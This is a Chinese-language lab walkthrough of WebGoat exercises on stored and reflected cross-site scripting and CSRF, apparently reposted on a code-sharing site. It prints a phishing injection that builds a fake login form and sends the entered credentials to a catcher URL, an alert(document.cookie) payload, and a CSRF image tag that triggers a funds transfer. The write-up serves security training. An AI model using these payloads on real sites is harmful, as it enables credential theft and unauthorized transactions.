WebGoat系列實驗Cross-Site Scripting (XSS)


WebGoat系列實驗Cross-Site Scripting (XSS)

PhishingTitle

  1. 本次實驗是在一個已知存在XSS漏洞的頁面進行釣魚攻擊。通過使用XSS與HTML注入,在頁面中注入身份認證html代碼,添加javascript腳本收集身份認證信息,並發送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
  2. 輸入以下javascript代碼。(之前這個位置提交的javascript代碼沒有顯示出來,原來是因為源代碼被過濾掉了...)
</form><script>function hack(){image=new Image;image.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&username="+document.phish.username.value+"&password="+document.phish.password.value+"";alert("PHISHING!");}</script><form name = "phish"><br><HR><H3>This feature requires account login:</H3><br>Enter Username:<br><input type="text" name="username"><br>Enter Password:<br><input type="password" name="password"><br><input type="submit" name=login value="login" onclick=hack()></form><br><HR>
  1. 在偽造的輸入框中輸入用戶名與密碼,點擊login按鈕,用戶的登錄認證信息就被發送到構造的頁面中了。image

LAB: Cross Site Scripting

Stage 1:Stored XSS

  1. 作為Tom,在個人簡介編輯頁執行存儲型XSS攻擊,驗證Jerry會受到攻擊影響。
  2. 使用Tom登錄,修改Tom的個人簡介編輯頁的街道一欄,在其后添加,更新個人信息。image
  3. 使用Jerry登錄,選擇Tom的個人信息進行查看,彈窗表明存儲型XSS攻擊成功。

Stage 2:Block Stored XSS using Input Validation

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage3:Stored XSS Revisited

驗證Bruce的個人簡介中包含有XSS攻擊,使用David用戶登錄,查看Bruce的個人簡介,出現彈窗,表明存在XSS攻擊。

Stage4:Block Stored XSS using Output Encoding

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage5:Reflected XSS

  1. 利用查找職工頁面的缺陷制作一個包含有反射型XSS的URL,驗證其他使用這個鏈接的用戶也會受到攻擊影響。
  2. 使用用戶Larry登錄,在Search Staff搜索框中輸入。

Stage6:Block Reflected XSS

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stored XSS Attacks

  1. 清除所有的輸入是一個很好的選擇,尤其是清除那些將被用作參數使用的輸入。對於在應用程序中永久存儲的內容特別重要。當用戶的消息被檢索時,不能出現不期望的消息內容。
  2. 在輸入的內容中添加javascript代碼,點擊Submit按鈕。image
  3. 點擊生成的文章鏈接,會顯示一個彈窗,表明頁面存在存儲型XSS。

Reflected XSS Attacks

  1. 在服務器端驗證所有輸入是一個很好的選擇。未驗證的用戶輸入可能會在HTTP響應中出現XSS。攻擊者可以創建一個URL,通過讓受害者點擊的方式進行XSS攻擊。
  2. 在digit access code框中添加
<script>alert(document.cookie);</script>

,點擊Purchase按鈕完成。image

Cross Site Request Forgery (CSRF)

  1. 實驗需要向新聞組發送一封email。在email中包含一張圖片,圖片的URL指向一個惡意請求。實驗中,URL應指向attack servlet,參數有Screen與menu,還有一個額外的參數transferFunds帶有任意數值。收件人剛好進行身份認證,正在轉移資金。
  2. 構造一封郵件,在Message后添加一張圖片,根據Screen與menu值構造URL,圖片的javascript代碼為
<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>

image
3. 當收件人打開這封email時,由於自身身份已經認證,因此賬戶被轉移了5000。image

CSRF Prompt By-Pass

  1. 實驗需要向新聞組發送email包含以下惡意請求,首先轉賬,然后請求提示確認。
  2. 在email的正文中輸入如下javascript代碼。image

CSRF Token By-Pass

image


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM